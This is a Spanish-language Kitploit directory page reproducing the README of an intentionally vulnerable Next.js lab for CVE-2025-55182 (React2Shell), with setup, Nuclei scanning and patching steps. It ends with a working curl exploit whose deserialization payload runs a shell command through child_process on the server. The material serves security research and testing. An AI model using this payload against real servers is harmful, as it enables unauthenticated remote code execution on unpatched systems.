Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/abcfabian/react2shell-cve-2025-55182-testing-environment
Seguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubabcfabian/react2shell-cve-2025-55182-testing-environment

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

React2Shell-CVE-2025-55182-Testing-Environment

Un entorno de pruebas containerizado para CVE-2025-55182, una vulnerabilidad crítica (10.0 CVSS) de Ejecución Remota de Código en React Server Components.

Ver Repositorio
1hace 8 mesesAún no revisado

Entorno de Pruebas React2Shell (CVE-2025-55182)

Un entorno de pruebas contenerizado para CVE-2025-55182, una vulnerabilidad crítica (10.0 CVSS) de Ejecución Remota de Código en React Server Components.

⚠️ ADVERTENCIA

Este entorno es intencionalmente vulnerable y solo debe usarse para:

  • Investigación y educación en seguridad
  • Pruebas de penetración en entornos aislados
  • Comprender los mecanismos de la vulnerabilidad

NO LO HAGAS:

  • Desplegar esto en producción
  • Exponer esto a internet
  • Usarlo con fines maliciosos

Detalles de la Vulnerabilidad

  • CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
  • Gravedad: Crítica (10.0)
  • Tipo: Ejecución Remota de Código sin autenticación
  • Afecta: React Server Components en Next.js 15.x/16.x App Router
  • Debilidad: CWE-502 (Deserialización de Datos No Confiables)

Versiones Afectadas

Paquetes de React:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js:

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 15.3.0 - 15.3.5
  • 15.4.0 - 15.4.7
  • 15.5.0 - 15.5.6
  • 16.0.0 - 16.0.6

Versiones Parcheadas

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Inicio Rápido

Usando Podman (macOS)

root@kitploit:~
# Construir e iniciar el entorno vulnerable
podman compose up --build -d

# Verificar que esté funcionando
curl http://localhost:3000/api/status

# Ver registros
podman logs -f react2shell-vuln

# Detener
podman compose down

Usando Docker Compose

root@kitploit:~
# Construir e iniciar el entorno vulnerable
docker-compose up --build -d

# Acceder a la aplicación en http://localhost:3000

Estructura del Proyecto

root@kitploit:~
.
├── README.md               # Este archivo
├── Dockerfile              # Instrucciones de construcción del contenedor
├── Dockerfile.dev          # Contenedor de desarrollo con recarga en caliente
├── docker-compose.yml      # Configuración de Docker/Podman Compose
├── CVE-2025-55182.yaml     # Plantilla para escáner Nuclei
├── scan.sh                 # Script de escaneo Nuclei de propósito general
├── scan-results/           # Directorio de salida de escaneo
└── vulnerable-app/         # Aplicación Next.js vulnerable
    ├── package.json        # Dependencias (versiones vulnerables)
    ├── next.config.js      # Configuración de Next.js
    ├── tsconfig.json       # Configuración de TypeScript
    └── app/                # Páginas y componentes de App Router
        ├── layout.tsx      # Layout raíz
        ├── page.tsx        # Página principal con Server Components
        ├── globals.css     # Estilos
        ├── actions.ts      # Server Actions
        ├── api/status/     # Endpoint de API de estado
        └── components/     # Componentes de React

Escaneo de la Vulnerabilidad

Descargar la Plantilla de Nuclei

Si no tienes la plantilla, descárgala del repositorio oficial de nuclei-templates:

root@kitploit:~
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

Usando el Script de Escaneo

El scan.sh incluido es un escáner de contenedor Nuclei de propósito general que funciona con Docker y Podman.

root@kitploit:~
# Escanear la aplicación vulnerable local
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Escanear cualquier objetivo
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# Escanear con todas las plantillas de Nuclei
./scan.sh -u https://example.com

# Escanear múltiples objetivos desde un archivo
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# Filtrar por gravedad
./scan.sh -u https://example.com -s critical,high

# Salida JSON
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

Opciones del Escáner

Escaneo Manual con Nuclei (Podman)

root@kitploit:~
podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

Prueba de la Vulnerabilidad

Una vez que el contenedor esté en ejecución:

  1. Accede a la aplicación en http://localhost:3000
  2. Verifica la API de estado: http://localhost:3000/api/status
  3. Ejecuta el escáner para verificar la detección de la vulnerabilidad
  4. La aplicación utiliza React Server Components a través de Next.js App Router

Nota: La vulnerabilidad implica una deserialización insegura en el protocolo RSC. La plantilla de Nuclei prueba este vector de ataque específico.

Cambio a la Versión Parcheada

Para probar la versión parcheada, modifica vulnerable-app/package.json:

root@kitploit:~
{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

Luego reconstruye:

root@kitploit:~
# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

Referencias

  • Aviso de Seguridad de React
  • Aviso de Seguridad de Next.js
  • Publicación en el Blog de React
  • react2shell.com
  • Plantillas de Nuclei

Descargo de Responsabilidad

Este entorno de pruebas se proporciona únicamente con fines educativos y de investigación en seguridad. Los mantenedores no son responsables del uso indebido de este software. Siempre obtén la autorización adecuada antes de probar vulnerabilidades de seguridad.

Ejemplo de Exploit con Curl

root@kitploit:~
curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"
Descargar herramienta
OpciónDescripción
-u, --url <url>URL de un solo objetivo a escanear
-l, --list <archivo>Archivo que contiene una lista de URLs objetivo
-t, --template <archivo>Archivo o directorio de plantilla personalizado
-o, --output <dir>Directorio de salida (por defecto: ./scan-results)
-s, --severity <nivel>Filtro: info, low, medium, high, critical
-r, --rate-limit <n>Máximo de solicitudes por segundo
-j, --jsonResultados en formato JSON
-v, --verboseSalida verbose
-h, --helpMostrar mensaje de ayuda